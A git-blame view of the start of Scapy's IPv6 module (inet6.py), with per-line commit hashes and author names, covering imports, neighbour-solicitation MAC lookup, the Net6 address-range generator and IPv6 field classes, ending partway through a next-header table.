1c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#! /usr/bin/env python 2c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 3c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## ## 4614f54fc4b269030ba2934b6c353fb43de886e04Phil## inet6.py --- IPv6 support for Scapy ## 5614f54fc4b269030ba2934b6c353fb43de886e04Phil## see http://natisbad.org/IPv6/ ## 6614f54fc4b269030ba2934b6c353fb43de886e04Phil## for more informations ## 7c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## ## 8c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## Copyright (C) 2005 Guillaume Valadon <guedou@hongo.wide.ad.jp> ## 9c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## Arnaud Ebalard <arnaud.ebalard@eads.net> ## 10c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## ## 11c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## This program is free software; you can redistribute it and/or modify it ## 12c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## under the terms of the GNU General Public License version 2 as ## 13614f54fc4b269030ba2934b6c353fb43de886e04Phil## published by the Free Software Foundation. ## 14c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## ## 15c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## This program is distributed in the hope that it will be useful, but ## 16c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## WITHOUT ANY WARRANTY; without even the implied warranty of ## 17c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## 18c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## General Public License for more details. ## 19c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## ## 20c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 21c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 220ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss""" 230ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk LossIPv6 (Internet Protocol v6). 240ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss""" 250ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss 26614f54fc4b269030ba2934b6c353fb43de886e04Phil 2722a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotterfrom __future__ import absolute_import 28b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotterfrom __future__ import print_function 290aeb049606bee9335e62afea58479915bd6e2344Pierre LALET 300aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom hashlib import md5 316057906368d55634d11e1d19a5cca1f127595b11Robin Jarryimport random 320aeb049606bee9335e62afea58479915bd6e2344Pierre LALETimport re 33d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilimport socket 340aeb049606bee9335e62afea58479915bd6e2344Pierre LALETimport struct 350aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom time import gmtime, strftime 360aeb049606bee9335e62afea58479915bd6e2344Pierre LALET 3722a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotterimport scapy.modules.six as six 38cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALETfrom scapy.modules.six.moves import range, zip 39d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilif not socket.has_ipv6: 40d7dd2222e18718ea755fe780e8ef422901ba5b0bPhil raise socket.error("can't use AF_INET6, IPv6 is disabled") 4181dfaee354bef2beea581a3c83a33c856ade45e5Dirk Lossif not hasattr(socket, "IPPROTO_IPV6"): 4281dfaee354bef2beea581a3c83a33c856ade45e5Dirk Loss # Workaround for http://bugs.python.org/issue6926 4381dfaee354bef2beea581a3c83a33c856ade45e5Dirk Loss socket.IPPROTO_IPV6 = 41 4403f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulkaif not hasattr(socket, "IPPROTO_IPIP"): 4503f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulka # Workaround for https://bitbucket.org/secdev/scapy/issue/5119 4603f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulka socket.IPPROTO_IPIP = 4 47d7dd2222e18718ea755fe780e8ef422901ba5b0bPhil 480aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.arch import get_if_hwaddr 49d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilfrom scapy.config import conf 500aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.base_classes import Gen 510aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.data import DLT_IPV6, DLT_RAW, DLT_RAW_ALT, ETHER_ANY, ETH_P_IPV6, \ 520aeb049606bee9335e62afea58479915bd6e2344Pierre LALET MTU 530aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.compat import chb, orb, raw, plain_str 5407dedfded9ae364ba246be402ebf7b4d2670153bgpotterimport scapy.consts 550aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ 560aeb049606bee9335e62afea58479915bd6e2344Pierre LALET DestField, Field, FieldLenField, FlagsField, IntField, LongField, \ 570aeb049606bee9335e62afea58479915bd6e2344Pierre LALET MACField, PacketLenField, PacketListField, ShortEnumField, ShortField, \ 580aeb049606bee9335e62afea58479915bd6e2344Pierre LALET StrField, StrFixedLenField, StrLenField, X3BytesField, XBitField, \ 590aeb049606bee9335e62afea58479915bd6e2344Pierre LALET XIntField, XShortField 600aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.packet import bind_layers, Packet, Raw 610aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.volatile import RandInt, RandIP6, RandShort 620aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.sendrecv import sendp, sniff, sr, srp1 63614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.as_resolvers import AS_resolver_riswhois 640aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.supersocket import SuperSocket, L3RawSocket 650aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.utils6 import in6_6to4ExtractAddr, in6_and, in6_cidr2mask, \ 660aeb049606bee9335e62afea58479915bd6e2344Pierre LALET in6_getnsma, in6_getnsmac, in6_isaddr6to4, in6_isaddrllallnodes, \ 670aeb049606bee9335e62afea58479915bd6e2344Pierre LALET in6_isaddrllallservers, in6_isaddrTeredo, in6_isllsnmaddr, in6_ismaddr, \ 680aeb049606bee9335e62afea58479915bd6e2344Pierre LALET in6_ptop, teredoAddrExtractInfo 690aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.layers.l2 import CookedLinux, Ether, GRE, Loopback, SNAP 700aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.layers.inet import IP, IPTools, TCP, TCPerror, TracerouteResult, \ 710aeb049606bee9335e62afea58479915bd6e2344Pierre LALET UDP, UDPerror 720aeb049606bee9335e62afea58479915bd6e2344Pierre LALETfrom scapy.utils import checksum, inet_pton, inet_ntop, strxor 736057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.error import warning 748d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarryif conf.route6 is None: 758d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarry # unused import, only to initialize conf.route6 768d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarry import scapy.route6 77c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 78c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 79c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 80c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Helpers ## 81c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 82c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 83c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef get_cls(name, fallback_cls): 84614f54fc4b269030ba2934b6c353fb43de886e04Phil return globals().get(name, fallback_cls) 85c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 86c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 87c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil########################## 88c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## Neighbor cache stuff ## 89c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil########################## 90c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 91f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Philconf.netcache.new_cache("in6_neighbor", 120) 92c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 93caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register 94c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef neighsol(addr, src, iface, timeout=1, chainCC=0): 95caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon """Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr 96caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon 97caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon 'src' address is used as source of the message. Message is sent on iface. 98caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon By default, timeout waiting for an answer is 1 second. 99c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1000d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz If no answer is gathered, None is returned. Else, the answer is 101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil returned (ethernet frame). 102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr)) 105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil d = inet_ntop(socket.AF_INET6, nsma) 106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil dm = in6_getnsmac(nsma) 107c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil p = Ether(dst=dm)/IPv6(dst=d, src=src, hlim=255) 108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil p /= ICMPv6ND_NS(tgt=addr) 109c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil p /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface)) 1100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz res = srp1(p,type=ETH_P_IPV6, iface=iface, timeout=1, verbose=0, 1110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz chainCC=chainCC) 112c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 113c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return res 114c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 115caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register 116c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef getmacbyip6(ip6, chainCC=0): 117caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon """Returns the MAC address corresponding to an IPv6 address 118caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon 119c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil neighborCache.get() method is used on instantiated neighbor cache. 120c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil Resolution mechanism is described in associated doc string. 121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil (chainCC parameter value ends up being passed to sending function 123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil used to perform the resolution, if needed) 124c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 125bb7e8d7b4a6fe4a6d71c6d3b77898618d5286100gpotter 126adc65770503b25e381492d1c4eb47cae8f722652gpotter if isinstance(ip6, Net6): 127d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter ip6 = str(ip6) 128f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil 1290d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz if in6_ismaddr(ip6): # Multicast 130f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6)) 131f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil return mac 132f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil 1337139f0150bfd006ab76b64a0aefbf2de2fc35443Robin Jarry iff,a,nh = conf.route6.route(ip6) 134f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil 13507dedfded9ae364ba246be402ebf7b4d2670153bgpotter if iff == scapy.consts.LOOPBACK_INTERFACE: 13607dedfded9ae364ba246be402ebf7b4d2670153bgpotter return "ff:ff:ff:ff:ff:ff" 137f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil 1380d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz if nh != '::': 139f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil ip6 = nh # Found next hop 140f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil 141f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil mac = conf.netcache.in6_neighbor.get(ip6) 142f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil if mac: 143f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil return mac 144f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil 145f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil res = neighsol(ip6, a, iff, chainCC=chainCC) 146f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil 147f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil if res is not None: 148429082158fc01432c9d5e4a3de775f7a6e07a021Guillaume Valadon if ICMPv6NDOptDstLLAddr in res: 1490d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz mac = res[ICMPv6NDOptDstLLAddr].lladdr 1500d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz else: 1510d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz mac = res.src 152f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil conf.netcache.in6_neighbor[ip6] = mac 153f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil return mac 154f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil 155f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil return None 156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 158c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 159c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 160c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil### IPv6 addresses manipulation routines ### 161c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 162c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 164c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Net6(Gen): # syntax ex. fec0::/126 165c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """Generate a list of IPv6s from a network address or a name""" 166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ipv6" 16747bf4c47b9b2668a1b82c19078147708512e99edgpotter ip_regex = re.compile(r"^([a-fA-F0-9:]+)(/[1]?[0-3]?[0-9])?$") 168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def __init__(self, net): 170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.repr = net 171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil tmp = net.split('/')+["128"] 17347bf4c47b9b2668a1b82c19078147708512e99edgpotter if not self.ip_regex.match(net): 174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil tmp[0]=socket.getaddrinfo(tmp[0], None, socket.AF_INET6)[0][-1][0] 175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil netmask = int(tmp[1]) 17777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil self.net = inet_pton(socket.AF_INET6, tmp[0]) 178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.mask = in6_cidr2mask(netmask) 17977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil self.plen = netmask 180c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def __iter__(self): 182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 183cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET def parse_digit(value, netmask): 184cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET netmask = min(8, max(netmask, 0)) 185cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET value = int(value) 186cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET return (value & (0xff << netmask), 187cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET (value | (0xff >> (8 - netmask))) + 1) 1880d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 189cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET self.parsed = [ 190cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET parse_digit(x, y) for x, y in zip( 191cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET struct.unpack("16B", in6_and(self.net, self.mask)), 192cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET (x - self.plen for x in range(8, 129, 8)), 193cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET ) 194cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET ] 195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1960d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz def rec(n, l): 197cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET sep = ':' if n and n % 2 == 0 else '' 198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if n == 16: 19977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil return l 200cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET return rec(n + 1, [y + sep + '%.2x' % i 201cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET # faster than '%s%s%.2x' % (y, sep, i) 202cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET for i in range(*self.parsed[n]) 203cf8f5ae5e7b62b92afd49704922153af3f2febfcPierre LALET for y in l]) 204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return iter(rec(0, [''])) 206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 207f317c6504219a427117ccd94e8a11063e0b376adgpotter def __str__(self): 208a3618a09887e39536009036d2e88341c61d4d385gpotter try: 209a3618a09887e39536009036d2e88341c61d4d385gpotter return next(self.__iter__()) 210a3618a09887e39536009036d2e88341c61d4d385gpotter except StopIteration: 211a3618a09887e39536009036d2e88341c61d4d385gpotter return None 212a3618a09887e39536009036d2e88341c61d4d385gpotter 213a3618a09887e39536009036d2e88341c61d4d385gpotter def __eq__(self, other): 214a3618a09887e39536009036d2e88341c61d4d385gpotter return str(other) == str(self) 215a3618a09887e39536009036d2e88341c61d4d385gpotter 216a3618a09887e39536009036d2e88341c61d4d385gpotter def __ne__(self, other): 217a3618a09887e39536009036d2e88341c61d4d385gpotter return str(other) != str(self) 218f317c6504219a427117ccd94e8a11063e0b376adgpotter 219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def __repr__(self): 220ce8d785c61d45928cc6da340beee91d32569d20dPierre LALET return "Net6(%r)" % self.repr 221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil### IPv6 Class ### 230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IP6Field(Field): 234c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def __init__(self, name, default): 235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil Field.__init__(self, name, default, "16s") 236c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def h2i(self, pkt, x): 237d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter if isinstance(x, str): 238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil try: 23977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil x = in6_ptop(x) 240c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil except socket.error: 241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = Net6(x) 242d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter elif isinstance(x, list): 24305dc450e1f3b4240f3cca288b1208cb7e8949938Guillaume Valadon x = [Net6(a) for a in x] 244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return x 245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2m(self, pkt, x): 2465e8857410015a93f6371459b2f870432ded39b9fgpotter return inet_pton(socket.AF_INET6, plain_str(x)) 247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def m2i(self, pkt, x): 248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return inet_ntop(socket.AF_INET6, x) 249c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def any2i(self, pkt, x): 250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.h2i(pkt,x) 251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2repr(self, pkt, x): 252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if x is None: 25377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil return self.i2h(pkt,x) 254d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter elif not isinstance(x, Net6) and not isinstance(x, list): 25577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil if in6_isaddrTeredo(x): # print Teredo info 2560aeb049606bee9335e62afea58479915bd6e2344Pierre LALET server, _, maddr, mport = teredoAddrExtractInfo(x) 25777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil return "%s [Teredo srv: %s cli: %s:%s]" % (self.i2h(pkt, x), server, maddr,mport) 25877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil elif in6_isaddr6to4(x): # print encapsulated address 259c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil vaddr = in6_6to4ExtractAddr(x) 26077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil return "%s [6to4 GW: %s]" % (self.i2h(pkt, x), vaddr) 26177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil return self.i2h(pkt, x) # No specific information to return 26251db482d4ed62a5eb7b70c0c4f7a3954d41b6165Phil def randval(self): 26351db482d4ed62a5eb7b70c0c4f7a3954d41b6165Phil return RandIP6() 264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 265c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass SourceIP6Field(IP6Field): 266b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET __slots__ = ["dstname"] 267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def __init__(self, name, dstname): 268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6Field.__init__(self, name, None) 269c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.dstname = dstname 270c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2m(self, pkt, x): 271c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if x is None: 272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil dst=getattr(pkt,self.dstname) 273c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil iff,x,nh = conf.route6.route(dst) 274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return IP6Field.i2m(self, pkt, x) 275c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2h(self, pkt, x): 276c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if x is None: 27739b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET if conf.route6 is None: 27839b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET # unused import, only to initialize conf.route6 27939b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET import scapy.route6 28039b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET dst = ("::" if self.dstname is None else getattr(pkt, self.dstname)) 28139b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET if isinstance(dst, (Gen, list)): 28239b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET r = {conf.route6.route(daddr) for daddr in dst} 28339b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET if len(r) > 1: 28439b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET warning("More than one possible route for %r" % (dst,)) 28539b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET x = min(r)[1] 286c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 28739b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET x = conf.route6.route(dst)[1] 288c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return IP6Field.i2h(self, pkt, x) 289c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2904ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALETclass DestIP6Field(IP6Field, DestField): 2914ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALET bindings = {} 292104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET def __init__(self, name, default): 293104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET IP6Field.__init__(self, name, None) 2944ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALET DestField.__init__(self, name, default) 295104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET def i2m(self, pkt, x): 296104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET if x is None: 297104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET x = self.dst_from_pkt(pkt) 298104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET return IP6Field.i2m(self, pkt, x) 299104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET def i2h(self, pkt, x): 300104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET if x is None: 301104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET x = self.dst_from_pkt(pkt) 302104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET return IP6Field.i2h(self, pkt, x) 303104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET 304c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilipv6nh = { 0:"Hop-by-Hop Option Header", 305c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 4:"IP", 306c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 6:"TCP", 307c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 17:"UDP", 308c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 41:"IPv6", 309c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 43:"Routing Header", 310c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 44:"Fragment Header", 311c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 47:"GRE", 312c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 50:"ESP Header", 313c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 51:"AH Header", 314c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 58:"ICMPv6", 315c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 59:"No Next Header", 316c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 60:"Destination Option Header", 317caab83b26dc3a90b1f5623acae16815ffaa1e1f6gpotter 112:"VRRP", 3180d49a3d0e63f90e8a46a9221b85ed599fa1b186fsachetmittal 132:"SCTP", 3190d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 135:"Mobility Header"} 320c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 321c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilipv6nhcls = { 0: "IPv6ExtHdrHopByHop", 